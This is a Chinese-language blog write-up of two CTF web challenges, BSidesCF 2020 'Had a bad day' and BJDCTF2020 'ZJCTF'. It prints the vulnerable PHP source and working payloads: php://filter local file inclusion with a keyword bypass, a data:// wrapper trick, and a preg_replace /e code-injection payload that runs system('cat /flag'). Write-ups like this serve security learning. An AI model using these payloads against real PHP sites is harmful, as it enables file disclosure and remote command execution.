CTF第八天

[BSidesCF 2020]Had a bad day 1

在这里插入图片描述
可能存在SQL注入或者文件包含,试试用filter伪协议读取index.php文件

/index.php?category=php://filter/read=convert.base64-encode/resource=index.php

报错了
在这里插入图片描述
的确是文件包含,但是有index.php却读取错误,报错显示无法打开流:操作失败,结果把.php后缀去掉,可以读取

/index.php?category=php://filter/read=convert.base64-encode/resource=index

在这里插入图片描述
从源码把那一段整下来,发现最后有==,猜想是base64编码,试了下果然解码出了源文件,其中有一段关键的

<?php
	$file = $_GET['category'];
	if(isset($file))
		{
			if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
			}
			else{
				echo "Sorry, we currently only support woofers and meowers.";
			}
		}
	?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php
尝试直接读取/index.php?category=woofers/../flag
在这里插入图片描述
出现了别的内容,包含成功了flag.php,但是这里也说了flag需要读取
利用php://filter伪协议可以套一层协议读取flag.php

/index.php?category=php://filter/convert.base64-encode/index/resource=flag

套一个字符index符合条件并且传入flag,读取flag.php
又出了一串码,解码后得到flag
在这里插入图片描述

[BJDCTF2020]ZJCTF,不过如此 1

在这里插入图片描述
代码审计:
1.用get得到$text和 $file变量
2. $text变量中得有I have a dream这一段文本
3. $file如果有/flag/关键词,就不行
4. 有一个next.php路径
试下伪协议

index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

把返回的代码用base64解码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

/next.php?\S*=${getFlag()}&cmd=system('cat /flag');

得到flag
参考
参考
参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值